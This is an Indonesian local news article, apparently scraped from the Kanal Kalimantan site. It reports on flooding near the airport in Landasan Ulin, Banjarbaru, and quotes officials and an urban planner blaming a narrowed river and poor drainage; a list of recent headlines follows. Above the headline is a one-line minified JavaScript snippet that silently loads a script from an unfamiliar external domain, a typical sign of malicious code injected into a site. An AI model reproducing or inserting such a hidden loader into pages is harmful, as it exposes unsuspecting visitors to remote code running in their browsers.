(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjir Dekat Bandara, Bukti Drainase dan Sungai Tak Beres


“Kejadian di Jalan Tonhar kemarin, dari tinjauan kami aliran air di sungai itu berkelok dan tidak lancar mengalir. Alhamdulillah air sudah turun yang awalnya setengah rumah dalam hitungan 1 jam air sudah semata kaki. Kami juga akan berkoordinasi dengan dinas terkait mengenai kejadian ini,” ujar Camat Landasan Ulin Drs Abdul Malik.

Penelusuran Kanal Kalimantan, aliran sungai kecil yang berada di jalan Tonhar tembus membelah di A Yani KM 23,400 -dekat SPBU Landasan Ulin- memang terjadi penyempitan.

Sungai yang berada di samping SPBU Landasan Ulin terjadi  pengecilan arus air  dan ini tidak sesuai dengan debit air yang banyak saat hujan lebat kemarin. Seharusnya arus air tersebut melebar ke ujung bukan menyempit di depan. Sekedar diketahui aliran air sungai itu menuju ke daerah Peramuan, Landasan Ulin, sungai tembus jalan Trikora.

Baca Juga : Dinding Jebol Diterjang Air, ‘Banjir’ Oli Kemasan Hingga Tangkap Lele Jumbo

Sebagian warga Kota Banjarbaru tidak lagi menyebutnya hanya sekedar genangan, tetapi mereka sebut banjir. Kondisi ini menjadi keluhan sebagian warga kota berjuluk Idaman.

Pengamat tata kota HE Benyamine mengatakan, kondisi yang terjadi seperti hal tersebut menunjukkan bahwa Banjarbaru sudah darurat drainase. Menurut Bang Ben -biasa disapa- banyak hal yang sudah berubah di kota Banjarbaru seperti bentang alam, aliran sungai menyempit, dan hilangnya dataran tangkapan air di wilayah Banjarbaru.

“Kapasitas drainase sudah tidak mampu lagi menampung, factor pemicu salah satunya perumahan atau pertokoan yang tidak memiliki Kawasan serapan air sendiri, namun langsung ke drainase,” papar Bang Ben.

HE Benyamine berharap agar Pemerintah Kota Banjarbaru menggunakan para ahli di pemerintahan, seperti para sarjana teknik sipil, planologi, tekhnik lingkungan di Bapelitbangda dan lainnya untuk memperbaharui sistem drainase yang ada di Banjarbaru.

“Ini bukan lagi genangan air, tapi sudah bisa disebut banjir. Kondisi ini sudah lama dikeluhkan warga kota,” ucap Bang Ben.

“Saya berharap Pemkot Banjarbaru segera menata ulang sistem drainase yang ada. Di Pemkot Banjarbaru juga banyak ahli seperti teknik sipil, planalogi, teknik lingkungan dan lainnya. Mereka sudah saat memikirkan kondisi Banjarbaru yang terus dilanda banjir, setiap curah hujan tinggi,” tandasnya. (devi)

Reporter: Devi
Editor: Abi Zharrin Al Ghifari

Page: 1 2

Desy Arfianty

Recent Posts

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

7 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

8 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

23 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

1 hari ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

1 hari ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

1 hari ago

This website uses cookies.